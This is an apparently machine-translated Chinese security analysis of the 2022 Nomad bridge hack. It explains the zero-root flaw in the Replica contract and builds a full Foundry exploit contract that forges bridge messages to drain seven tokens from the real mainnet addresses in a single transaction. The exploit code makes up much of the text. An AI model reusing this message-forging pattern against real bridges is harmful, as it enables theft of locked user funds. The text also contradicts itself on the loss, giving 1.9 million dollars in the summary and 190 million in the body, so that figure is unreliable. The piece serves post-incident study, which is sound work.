本文分析了2022年8月Nomad Bridge的黑客攻击事件,该事件导致190万美元的资金被盗。文章详细探讨了攻击所利用的智能合约漏洞以及攻击的过程,包括如何构造恶意消息以实现资金转移的技术方法。
Nomad 桥在 2022 年 8 月 1 日遭到黑客攻击,导致 1.9 亿美元的锁定资金被抽走。在一次攻击者成功利用该漏洞并大获全胜后,其他黑暗森林的旅行者也纷纷跳入重播这一漏洞,最终形成了一场庞大的“众包”黑客攻击。
对 Nomad 的一个代理合约实施例的常规升级标记了一个零哈希值作为可信根,允许消息被自动证明。黑客利用这一漏洞伪造桥合约并欺骗其解锁资金。
仅这一笔成功交易,就 draining 了 100 WBTC 从桥中——当时约 230 万美元。这个攻击没有使用闪电贷或其他复杂的与其他 DeFi 协议的交互。攻击者只是以正确的消息输入调用了合约上的一个函数,并且攻击者继续冲击该协议的流动性。
不幸的是,这笔交易的简单性和可重播性导致其他人也获得了一些非法利润。正如 Rekt 新闻 所说,“坚持 DeFi 原则,这次攻击是无许可的——任何人都可以参与其中。”
在这篇文章中,我们将分析 Nomad 桥 Replica 合约中的被利用的漏洞,随后我们将创建自己的攻击版本,在一次交易中抽走所有流动性,并在本地 fork 上进行测试。你可以在 这里 查看完整的 PoC。
本文由 gmhacker.eth 撰写,他是 Immunefi 智能合约审查员。
Nomad 是一种跨链通信协议,允许在以太坊、Moonbeam 和其他链之间的代币桥接等多种操作。发送到 Nomad 合约的消息会通过积极的验证机制由链下代理进行验证和传输到其他链。
与大多数跨链桥接协议一样,Nomad 的代币桥能够通过在一侧锁定代币并在另一侧铸造代表的方式实现不同链之间的价值转移。因为这些代表代币最终可以被销毁以解锁原始资金(即桥接回代币的原生链),所以它们作为 IOU 功能,并具有与原始 ERC-20 代币相同的经济价值。这一桥接的特性在于,导致大量资金积累在复杂的智能合约中,使得它成为黑客极为渴望的目标。
锁定与铸造过程,来源: MakerDAO 的博客
在 Nomad 的案例中,一个名为 Replica
的合约负责在 Merkle 树结构中验证消息,该合约部署于所有受支持链上。协议中的其他合约依赖于此来验证传入消息的身份。一旦消息被验证,它会存储在 Merkle 树中,生成一个新的已提交树根并确认其已被处理。
了解 Nomad 桥的基本概念后,我们可以深入分析智能合约代码,探讨在 2022 年 8 月黑客攻击中利用的根本原因漏洞。为此,我们需要深入研究 Replica
合约。
Nomad Hack Analysis 1.sol – Medium
function process(bytes memory _message) public returns (bool _success) { | |
// 确保消息是针对该域的 | |
bytes29 _m = _message.ref(0); | |
require(_m.destination() == localDomain, "!destination"); | |
// 确保消息已被证明 | |
bytes32 _messageHash = _m.keccak(); | |
require(acceptableRoot(messages[_messageHash]), "!proven"); | |
// 检查重入保护 | |
require(entered == 1, "!reentrant"); | |
entered = 0; | |
// 更新消息状态为已处理 | |
messages[_messageHash] = LEGACY_STATUS_PROCESSED; | |
// 调用处理函数 | |
IMessageRecipient(_m.recipientAddress()).handle( | |
_m.origin(), | |
_m.nonce(), | |
_m.sender(), | |
_m.body().clone() | |
); | |
// 发送处理结果事件 | |
emit Process(_messageHash, true, ""); | |
// 重置重入保护 | |
entered = 1; | |
// 返回 true | |
return true; | |
} |
查看原始 Nomad Hack Analysis 1.sol 与 ❤ 一同寄存于 GitHub
Snippet 1: process
函数在 Replica.sol 中
process
函数 在 Replica
合约中负责将消息分发给最终接收者。只有在输入消息已经被证明的情况下,这种方式才会成功,这意味着消息已经被添加到 Merkle 树中,从而导致生成一个被接受且可信的根。此检查是通过消息哈希进行的,使用 acceptableRoot
查看函数,从已确认的根映射中读取。
Nomad Hack Analysis 2.sol – Medium
function initialize( | |
uint32 _remoteDomain, | |
address _updater, | |
bytes32 _committedRoot, | |
uint256 _optimisticSeconds | |
) public initializer { | |
__NomadBase_initialize(_updater); | |
// 设置存储变量 | |
entered = 1; | |
remoteDomain = _remoteDomain; | |
committedRoot = _committedRoot; | |
// 预先批准已承诺的根。 | |
confirmAt[_committedRoot] = 1; | |
_setOptimisticTimeout(_optimisticSeconds); | |
} |
查看原始 Nomad Hack Analysis 2.sol 与 ❤ 一同寄存于 GitHub
Snippet 2: initialize 函数在 Replica.sol 中
当对给定代理合约的实施进行升级时,升级逻辑可能会执行一次性的初始化函数。该函数将设定一些初始状态值。特别是在常规的 4 月 21 日升级 中,值 0x00 作为预先批准的已承诺根被传递,存储在 confirmAt
映射中。这也是漏洞出现的地方。
回到 process()
函数,我们看到它依赖于在 messages
映射中检查消息哈希。这个映射负责将消息标记为已处理,以便攻击者无法重放同样的消息。
EVM 智能合约存储的一个特定方面是,所有存储槽虚拟上都初始化为零值,这意味着如果一个读取未使用的存储槽,它不会引发异常,而是返回 0x00。基于此逻辑,每一个未使用的 Solidity 映射中的键都会返回 0x00。按照这一逻辑,当消息哈希不在 messages
映射中时,将返回 0x00 并传递给 acceptableRoot
函数,其也会返回 true,因而将该消息标记为已处理,但任何人都可以简单地更改消息以创建一个新的未使用消息并重新提交。
输入消息以特定格式编码多个不同参数。在这些参数中,为了从桥中解锁资金,需要有接收者地址。因此,在第一个攻击者执行成功交易之后,任何知道如何解码消息格式的人都可以简单地改变接收者地址并重放攻击交易,此次更换新的消息以便让新的地址获利。
现在我们了解了损害 Nomad 协议的漏洞后,我们可以制定自己的概念验证(PoC)。我们将构建特定的消息以调用 Replica
合约中的 process
函数,这样每种特定的代币在一次交易中进行抽走,从而使协议陷入财务危机。
我们将开始选择一个带有归档访问的 RPC 提供者。为了说明这一点,我们将使用 Ankr 提供的 免费的公共 RPC 聚合器。我们选择块号 15259100 作为我们的 fork 块,此为第一次黑客交易前的一个块。
我们的 PoC 需要经过多个步骤以确保在单次交易中成功。以下是我们在攻击 PoC 中实现的高层概述:
process
函数,导致代币转账到接收者地址。让我们一步一步编写代码,最终看看整个 PoC 有什么样。我们将使用 Foundry。
Nomad Hack Analysis 3.sol – Medium
pragma solidity^0.8.13; | ||
import"@openzeppelin/token/ERC20/ERC20.sol"; | ||
interfaceIReplica { | ||
function process(bytesmemory_message) externalreturns (bool_success); | ||
} | ||
contractAttacker { | ||
addressconstant REPLICA =0x5D94309E5a0090b165FA4181519701637B6DAEBA; | ||
addressconstant ERC20_BRIDGE =0x88A69B4E698A4B090DF6CF5Bd7B2D47325Ad30A3; | ||
// tokens | ||
address [] public tokens = [ | \ | |
0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599, // WBTC | \ | |
0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, // WETH | \ | |
0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48, // USDC | \ | |
0xdAC17F958D2ee523a2206206994597C13D831ec7, // USDT | \ | |
0x6B175474E89094C44Da98b954EedeAC495271d0F, // DAI | \ | |
0x3432B6A60D23Ca0dFCa7761B7ab56459D9C964D0, // FRAX | \ | |
0xD417144312DbF50465b1C641d016962017Ef6240// CQT | \ | |
]; | ||
function attack() external { | ||
for (uint i =0; i < tokens.length; i++) { | ||
address token = tokens[i]; | ||
uint256 amount_bridge =IERC20(token).balanceOf(ERC20_BRIDGE); | ||
bytesmemory payload =genPayload(msg.sender, token, amount_bridge); | ||
bool success =IReplica(REPLICA).process(payload); | ||
require(success, "Failed to process the payload"); | ||
} | ||
} | ||
function genPayload( | ||
addressrecipient, | ||
addresstoken, | ||
uint256amount | ||
) internalpurereturns (bytesmemory) {} | ||
} |
查看原始 Nomad Hack Analysis 3.sol 与 ❤ 一同寄存于 GitHub
Snippet 3: 我们攻击合约的开端
让我们开始创建我们的攻击者合约。合约的入口点将是 attack
函数,其结构很简单,仅需一个循环遍历不同的代币地址。我们检查 ERC20_BRIDGE
的特定代币的余额。这是 Nomad ERC-20 桥合约的地址,其中形成了锁定资金在以太坊上的。
之后,将生成恶意的消息负载。将在每次循环迭代中更改的参数是代币地址和要转移的资金量。所生成的消息将成为 IReplica.process
函数的输入。正如我们已经建立的,这个函数将把编码后的消息转发到 Nomad 协议中正确的最终合约,从而实现解锁和转移请求,有效地欺骗桥接逻辑。
Nomad Hack Analysis 4.sol – Medium
contractAttacker { | |
addressconstant BRIDGE_ROUTER =0xD3dfD3eDe74E0DCEBC1AA685e151332857efCe2d; | |
// Nomad domain IDs | |
uint32constant ETHEREUM =0x657468; // "eth" | |
uint32constant MOONBEAM =0x6265616d; // "beam" | |
function genPayload( | |
addressrecipient, | |
addresstoken, | |
uint256amount | |
) internalpurereturns (bytesmemorypayload) { | |
payload =abi.encodePacked( | |
MOONBEAM, // 本链域 | |
uint256(uint160(BRIDGE_ROUTER)), // 发送方: 桥 | |
uint32(0), // 目标 nonce | |
ETHEREUM, // 目标链域 | |
uint256(uint160(ERC20_BRIDGE)), // 接收者(Nomad ERC20 桥) | |
ETHEREUM, // 代币域 | |
uint256(uint160(token)), // 代币 ID (如 WBTC) | |
uint8(0x3), // 类型 - 转账 | |
uint256(uint160(recipient)), // 转账接收者 | |
uint256(amount), // 数量 | |
uint256(0) // 可选:代币详细信息哈希 | |
// keccak256( | |
// abi.encodePacked( | |
// bytes(tokenName).length, | |
// tokenName, | |
// bytes(tokenSymbol).length, | |
// tokenSymbol, | |
// tokenDecimals | |
// ) | |
// ) | |
); | |
} | |
} |
查看原始 Nomad Hack Analysis 4.sol 与 ❤ 一同寄存于 GitHub
Snippet 4: 生成恶意消息并设置正确的格式和参数
生成的消息需要用各种不同的参数进行编码,使其能够被协议正确地解包。重要的是,我们需要指定消息的转发路径——桥接路由器和 ERC-20 桥地址。我们必须将消息标记为代币转账,因此类型指定为 0x3
。
最后,我们需要指定将利润带给我们的参数——正确的代币地址、要转移的数量和该转移的接收者。正如我们已经看到的,这无疑会创建一个全新的原消息,这将从未在 Replica
合约中被处理过,因此根据我们的先前解释,它将被视为有效。
相当令人印象深刻的是,这完成了整个利用逻辑。如果我们拥有一些 Foundry 日志,我们的 PoC 仍然仅包含 87 行代码。
如果我们将该 PoC 针对 forking 块进行运行,我们将获得以下利润:
Nomad 桥的漏洞是 2022 年最大的黑客事件之一。这次攻击强调了整个协议在安全性方面的重要性。在这种特殊情况下,我们了解到,代理实施中的一次常规升级可以导致一个关键漏洞,从而使所有锁定资金受到威胁。此外,在开发过程中,需要对存储槽中的 0x00 默认值保持警惕,特别是在涉及映射的逻辑中。为这些可能导致漏洞的常见值进行一些单元测试也是明智之举。
需要指出的是,一些掠夺者账户提取的部分资金已归还给协议。正在 计划重启桥接,而归还的资产将通过按比例分享的方式分配给用户。任何被盗资金都可以返回到 Nomad 的 恢复钱包。
正如之前提到的,这个 PoC 实际上增强了黑客攻击,并在一次交易中抽走全部 TVL。这是一个比实际发生的事件简单得多的攻击。这是我们整个 PoC 的样子,附加了一些有用的 Foundry 日志:
Nomad Hack Analysis 5.sol – Medium
// SPDX-License-Identifier: MIT | ||
pragma solidity^0.8.13; | ||
import"@openzeppelin/token/ERC20/ERC20.sol"; | ||
import"forge-std/console.sol"; | ||
interfaceIReplica { | ||
function process(bytesmemory_message) externalreturns (bool_success); | ||
} | ||
contractAttacker { | ||
addressconstant REPLICA =0x5D94309E5a0090b165FA4181519701637B6DAEBA; | ||
addressconstant BRIDGE_ROUTER =0xD3dfD3eDe74E0DCEBC1AA685e151332857efCe2d; | ||
addressconstant ERC20_BRIDGE =0x88A69B4E698A4B090DF6CF5Bd7B2D47325Ad30A3; | ||
// Nomad domain IDs | ||
uint32constant ETHEREUM =0x657468; // "eth" | ||
uint32constant MOONBEAM =0x6265616d; // "beam" | ||
// tokens | ||
address [] public tokens = [ | \ | |
0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599, // WBTC | \ | |
0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, // WETH | \ | |
0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48, // USDC | \ | |
0xdAC17F958D2ee523a2206206994597C13D831ec7, // USDT | \ | |
0x6B175474E89094C44Da98b954EedeAC495271d0F, // DAI | \ | |
0x3432B6A60D23Ca0dFCa7761B7ab56459D9C964D0, // FRAX | \ | |
0xD417144312DbF50465b1C641d016962017Ef6240// CQT | \ | |
]; | ||
function attack() external { | ||
for (uint i =0; i < tokens.length; i++) { | ||
address token = tokens[i]; | ||
uint256 amount_bridge =ERC20(token).balanceOf(ERC20_BRIDGE); | ||
console.log( | ||
"[*] Stealing", | ||
amount_bridge /10**ERC20(token).decimals(), | ||
ERC20(token).symbol() | ||
); | ||
console.log( | ||
" 攻击者余额前:", | ||
ERC20(token).balanceOf(msg.sender) | ||
); | ||
// 生成包含所有存储在桥里的代币的载荷 | ||
bytesmemory payload =genPayload(msg.sender, token, amount_bridge); | ||
bool success =IReplica(REPLICA).process(payload); | ||
require(success, "处理载荷失败"); | ||
console.log( | ||
" 攻击者余额后: ", | ||
IERC20(token).balanceOf(msg.sender) /10**ERC20(token).decimals() | ||
); | ||
} | ||
} | ||
function genPayload( | ||
addressrecipient, | ||
addresstoken, | ||
uint256amount | ||
) internalpurereturns (bytesmemorypayload) { | ||
payload =abi.encodePacked( | ||
MOONBEAM, // 本链域 | ||
uint256(uint160(BRIDGE_ROUTER)), // 发送方: 桥 | ||
uint32(0), // 目标 nonce | ||
ETHEREUM, // 目标链域 | ||
uint256(uint160(ERC20_BRIDGE)), // 接收者(Nomad ERC20 桥) | ||
ETHEREUM, // 代币域 | ||
uint256(uint160(token)), // 代币 ID (如 WBTC) | ||
uint8(0x3), // 类型 - 转账 | ||
uint256(uint160(recipient)), // 转账接收者 | ||
uint256(amount), // 数量 | ||
uint256(0) // 可选:代币详细信息哈希 | ||
// keccak256( | ||
// abi.encodePacked( | ||
// bytes(tokenName).length, | ||
// tokenName, | ||
// bytes(tokenSymbol).length, | ||
// tokenSymbol, | ||
// tokenDecimals | ||
// ) | ||
// ) | ||
); | ||
} | ||
} |
查看原始 Nomad Hack Analysis 5.sol 与 ❤ 一同寄存于 GitHub
- 原文链接: medium.com/immunefi/hack...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!